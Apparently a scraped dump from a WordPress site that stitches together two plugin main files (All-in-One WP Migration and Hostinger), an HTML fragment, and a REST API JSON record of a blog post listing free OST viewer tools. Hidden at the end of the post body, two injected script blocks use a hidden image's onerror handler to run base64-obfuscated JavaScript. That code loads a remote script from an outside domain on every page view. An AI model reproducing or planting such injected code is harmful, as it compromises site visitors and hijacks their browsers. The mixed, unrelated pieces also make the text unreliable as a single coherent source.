/**
 * Plugin Name: All-in-One WP Migration
 * Plugin URI: https://servmask.com/
 * Description: All-in-One WP Migration makes moving your entire WordPress site simple. Export or import your database, media, plugins, and themes with just a few clicks.
 * Author: ServMask
 * Author URI: https://servmask.com/
 * Version: 7.90
 * Text Domain: all-in-one-wp-migration
 * Domain Path: /languages
 * Network: True
 * License: GPLv3
 *
 * Copyright (C) 2014-2025 ServMask Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 * Attribution: This code is part of the All-in-One WP Migration plugin, developed by
 *
 * ███████╗███████╗██████╗ ██╗   ██╗███╗   ███╗ █████╗ ███████╗██╗  ██╗
 * ██╔════╝██╔════╝██╔══██╗██║   ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝
 * ███████╗█████╗  ██████╔╝██║   ██║██╔████╔██║███████║███████╗█████╔╝
 * ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗
 * ███████║███████╗██║  ██║ ╚████╔╝ ██║ ╚═╝ ██║██║  ██║███████║██║  ██╗
 * ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
 */

if ( ! defined( 'ABSPATH' ) ) {
	die( 'Kangaroos cannot jump here' );
}

// Check SSL Mode
if ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && ( $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) ) {
	$_SERVER['HTTPS'] = 'on';
}

// Plugin Basename
define( 'AI1WM_PLUGIN_BASENAME', basename( dirname( __FILE__ ) ) . '/' . basename( __FILE__ ) );

// Plugin Path
define( 'AI1WM_PATH', dirname( __FILE__ ) );

// Plugin URL
define( 'AI1WM_URL', plugins_url( '', AI1WM_PLUGIN_BASENAME ) );

// Plugin Storage URL
define( 'AI1WM_STORAGE_URL', plugins_url( 'storage', AI1WM_PLUGIN_BASENAME ) );

// Include constants
require_once dirname( __FILE__ ) . DIRECTORY_SEPARATOR . 'constants.php';

// Include deprecated
require_once dirname( __FILE__ ) . DIRECTORY_SEPARATOR . 'deprecated.php';

// Include functions
require_once dirname( __FILE__ ) . DIRECTORY_SEPARATOR . 'functions.php';

// Include exceptions
require_once dirname( __FILE__ ) . DIRECTORY_SEPARATOR . 'exceptions.php';

// Include loader
require_once dirname( __FILE__ ) . DIRECTORY_SEPARATOR . 'loader.php';

// =========================================================================
// = All app initialization is done in Ai1wm_Main_Controller __constructor =
// =========================================================================
$main_controller = new Ai1wm_Main_Controller();<div class="back-to-top-wrap">
	<a href="#top" id="scroll-top" class="btn btn-primary btn-back-to-top">
		<i class="houzez-icon icon-arrow-up-1"></i>
	</a>
</div>/**
 * Plugin Name: Hostinger
 * Plugin URI: https://hostinger.com
 * Description: Hostinger WordPress plugin.
 * Version: 1.9.9
 * Requires at least: 5.6
 * Requires PHP: 7.4
 * Author: Hostinger
 * License: GPL v3
 * License URI: https://www.gnu.org/licenses/gpl-3.0.html
 * Author URI: https://www.hostinger.com
 * Text Domain: hostinger
 * Domain Path: /languages
 *
 * @package Hostinger
 */

defined( 'ABSPATH' ) || exit;

if ( ! defined( 'HOSTINGER_VERSION' ) ) {
	define( 'HOSTINGER_VERSION', '1.9.9' );
}

if ( ! defined( 'HOSTINGER_ABSPATH' ) ) {
	define( 'HOSTINGER_ABSPATH', plugin_dir_path( __FILE__ ) );
}

if ( ! defined( 'HOSTINGER_PLUGIN_FILE' ) ) {
	define( 'HOSTINGER_PLUGIN_FILE', __FILE__ );
}

if ( ! defined( 'HOSTINGER_PLUGIN_URL' ) ) {
	define( 'HOSTINGER_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
}

if ( ! defined( 'HOSTINGER_ASSETS_URL' ) ) {
	define( 'HOSTINGER_ASSETS_URL', plugin_dir_url( __FILE__ ) . 'assets' );
}

if ( ! defined( 'HOSTINGER_WP_CONFIG_PATH' ) ) {
	define( 'HOSTINGER_WP_CONFIG_PATH', ABSPATH . '.private/config.json' );
}

if ( ! defined( 'HOSTINGER_WP_TOKEN' ) ) {
	$hostinger_dir_parts        = explode( '/', __DIR__ );
	$hostinger_server_root_path = '/' . $hostinger_dir_parts[1] . '/' . $hostinger_dir_parts[2];
	define( 'HOSTINGER_WP_TOKEN', $hostinger_server_root_path . '/.api_token' );
}

if ( ! defined( 'HOSTINGER_REST_URI' ) ) {
	define( 'HOSTINGER_REST_URI', 'https://rest-hosting.hostinger.com' );
}

/**
 * @return void
 */
function hostinger_activate(): void {
	require_once HOSTINGER_ABSPATH . 'includes/class-hostinger-activator.php';
	Hostinger_Activator::activate();
}

/**
 * @return void
 */
function hostinger_deactivate(): void {
	require_once HOSTINGER_ABSPATH . 'includes/class-hostinger-deactivator.php';
	Hostinger_Deactivator::deactivate();
}

register_activation_hook( __FILE__, 'hostinger_activate' );
register_deactivation_hook( __FILE__, 'hostinger_deactivate' );

require_once HOSTINGER_ABSPATH . 'includes/class-hostinger.php';

$hostinger = new Hostinger();
$hostinger->run();{"id":250,"date":"2023-08-17T08:34:59","date_gmt":"2023-08-17T08:34:59","guid":{"rendered":"https:\/\/mailssoftware.org\/blogs\/?p=250"},"modified":"2025-08-18T14:49:30","modified_gmt":"2025-08-18T14:49:30","slug":"top-3-free-ost-viewer-tool-to-view-offline-ost-files","status":"publish","type":"post","link":"https:\/\/mailssoftware.org\/blogs\/top-3-free-ost-viewer-tool-to-view-offline-ost-files\/","title":{"rendered":"Top 3 Free OST Viewer Tool to View Offline OST Files"},"content":{"rendered":"<p>If your OST file has been corrupted or the connection to the Exchange server is broken, you will be unable to view OST file database. Even you cannot directly import and access this orphaned OST file in any other Outlook profile.<\/p>\n<p>Sometimes when a user\u2019s Outlook OST file gets corrupted for uncertain reasons and users totally surprised and took tensioned for their crucial email databases. OST file Viewer helps users to read and view offline OST files again without Outlook &#038; Exchange Server installation. In this post, I will assist you, in how you view your OST file databases using top-rated 3 tools.<\/p>\n<h2><strong>Reason Behind OST File Corruption:-<\/strong><\/h2>\n<p>There are multiple reasons why user faces OST file damage-related issues. Some of the common reasons are:-<\/p>\n<ul>\n<li>Due to a sudden hardware problem<\/li>\n<li>When the storage capacity is exceeded<\/li>\n<li>In the presence of bad sectors in the hard drive<\/li>\n<li>Due to a sudden short circuit in electricity<\/li>\n<li>Barriers to using unknown software<\/li>\n<li>The storage limit has been reached<\/li>\n<li>Outlook Add-in is not compatible with the current version<\/li>\n<li>Outlook is not working properly<\/li>\n<\/ul>\n<h2><strong>Top 3 Free OST File Reader Software To View OST Files<\/strong><\/h2>\n<h3><a href=\"http:\/\/www.mailssoftware.org\/free-ost-viewer\/\"><strong>MailsSoftware Free OST Viewer<\/strong><\/a><\/h3>\n<p>This OST Viewer Tool is a much-appreciated tool provided by MailsSoftware, one of the most reliable data care brands in the world. The application is helpful to read all inaccessible OST files Without Microsoft Outlook. It displays complete OST file databases with full accuracies, like- E-mails, Calendars, Notes, Contacts, Journals, Tasks, etc. Here users can quickly filter and find specific Outlook OST file email stuff.<\/p>\n<p><strong>Pros:<\/strong><\/p>\n<ul>\n<li>Very easy to download, install and run for all tech and non-tech users<\/li>\n<li>Compatible to scan &#038; fix OST file junks before presenting in the preview panel.<\/li>\n<li>Superstitious freeware solution to access and read offline OST file with 100% accuracy.<\/li>\n<li>Facilitates users to import and view multiple OST files at a single time without any alteration.<\/li>\n<li>Shows all Exchange Server OST files with maintaining folder hierarchy &#038; text formatting.<\/li>\n<li>It can be easily installed on Win 10, 7, 8, XP, Vista, and other Windows OS-supported systems.<\/li>\n<\/ul>\n<p><strong>Cons:<\/strong><\/p>\n<ul>\n<li>This software is also not available for Mac versions.<\/li>\n<li>The installation process of this solution is a little bit slower than MailsDaddy Tool.<\/li>\n<\/ul>\n<p><strong>MailsSoftware OST Viewer Pro:<\/strong> This program also comes with pro version features that enable users to convert OST files into PST, EML, MSG, MBOX, HTML, and MHTML formats. Here users can split heavy offline OST files into small Outlook PST files. The software easily converts all contacts in .vcf and calendars data in .ics format. It offers users to export some select offline OST files\/emails\/folders into Microsoft PST format.<\/p>\n<h3><a href=\"https:\/\/www.mailsdaddy.com\/free-ost-viewer\/\"><strong>MailsDaddy Free OST Viewer<\/strong><\/a><\/h3>\n<p>If you want to go for a trustworthy solution download MailsDaddy Free OST Viewer which enables users to read all offline OST files without investing money. Most professional developers and Outlook clients are suggested to users this free ost file opener tool.\u00a0 Lacks of users read their OST files Worldwide with 100% user satisfaction. The application provides a scan facility that quickly recovers corrupted and inaccessible OST files before presenting them in the preview panel.<\/p>\n<p><strong>Pros:<\/strong><\/p>\n<ul>\n<li>Allows accessing all complete OST file databases without any alteration.<\/li>\n<li>A newbie user can also easily work on it and view OST file email &#038; other items.<\/li>\n<li>Helps to add multiple OST files, scan, and show the preview of inaccessible &#038; orphaned OST files.<\/li>\n<li>No requirement of MS Outlook or Exchange Server to open OST files.<\/li>\n<li>Retains all internal folder structure, meta properties, and text formatting.<\/li>\n<li>Offers to filter, find and read some specific OST file emails.<\/li>\n<\/ul>\n<p><strong>Cons:<\/strong><\/p>\n<ul>\n<li>Now available for MAC users.<\/li>\n<\/ul>\n<p><strong>MailsDaddy OST Viewer Pro:<\/strong>\u00a0MailsDaddy provides the Pro version of this OST viewer solution to convert OST files into EML, MSG, MHTML, contacts in CSV, and calendar details in ICS format. Using this users can also convert required OST file databases without any changes in original content.<\/p>\n<h3><strong>A2Z Migration for OST to PST<\/strong><\/h3>\n<p>To get the responsive result in OST file viewing download A2Z Migration for OST to PST Tool. This outstanding solution offers a free preview panel to read all offline OST files without purchasing. It is also compatible to recover corrupted OST files and demonstrate complete email items preview without spending money. Here users can easily filter, find and view some required OST file messages without any hard effort. After purchasing this users get more options, like- file conversion, selective data conversion, split PST, and other advanced features.<\/p>\n<p><strong>Pros:<\/strong><\/p>\n<ul>\n<li>Offers an easy work environment to quickly access it, even by a newbie user.<\/li>\n<li>Helps to easily retrieve all damaged &#038; inaccessible offline OST files.<\/li>\n<li>Use the free preview panel to open &#038; view Exchange Server, Hotmail, and IMAP OST files.<\/li>\n<li>Converts OST files into PST, EML, MSG, EMLX, HTML, and RTF formats.<\/li>\n<li>Helps to save Contacts and Calendars to .vcf and .ics formats separately.<\/li>\n<li>Allows fragmenting heavy OST files into small Outlook PST files.<\/li>\n<li>\u00a0Filter &#038; convert selected OST files into PST &#038; other given formats.<\/li>\n<\/ul>\n<p><strong>Cons:<\/strong><\/p>\n<ul>\n<li>The utility is only available for Windows users.<\/li>\n<li>Needs to add other advanced features.<\/li>\n<\/ul>\n<p><strong>Free Demo Pack:-<\/strong> Users can use the free demo pack of this solution to read OST files free of cost. Another more, It also enables users to convert the first 20 email items per mailbox from OST to PST, EML, MSG, and other formats without any cost.<\/p>\n<h2><strong>Closing Statements<\/strong><\/h2>\n<p>These are some unique OST File Viewer Tool that helps to read OST file databases without any hard effort. You can use any one of them to access and view OST file emails. I believe all tools will much helpful to fulfill all your requirements.<\/p>\n<p><strong><em>Read More:\u00a0<\/em><\/strong><a href=\"https:\/\/mailssoftware.org\/blogs\/how-to-convert-ost-to-pst-outlook-2019\/\"><strong><em>How to Convert Microsoft .OST to .PST File in Outlook 2019<\/em><\/strong><\/a><\/p>\n<p><strong><em>Read More:-<\/em><\/strong><a href=\"https:\/\/mailssoftware.org\/blogs\/ost-to-mbox-conversion\/\"><strong><em>Need of OST to MBOX Conversion and How to perform?<\/em><\/strong><\/a><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If your OST file has been corrupted or the connection to the Exchange server is&#8230;<\/p>\n","protected":false},"author":1,"featured_media":251,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Top 3 Free OST Viewer Tool to View Offline OST Files<\/title>\n<meta name=\"description\" content=\"Download Free OST viewer tool to open and view OST file with all items. The listed tool also open corrupted, damaged and ost file.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mailssoftware.org\/blogs\/top-3-free-ost-viewer-tool-to-view-offline-ost-files\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Top 3 Free OST Viewer Tool to View Offline OST Files\" \/>\n<meta property=\"og:description\" content=\"Download Free OST viewer tool to open and view OST file with all items. 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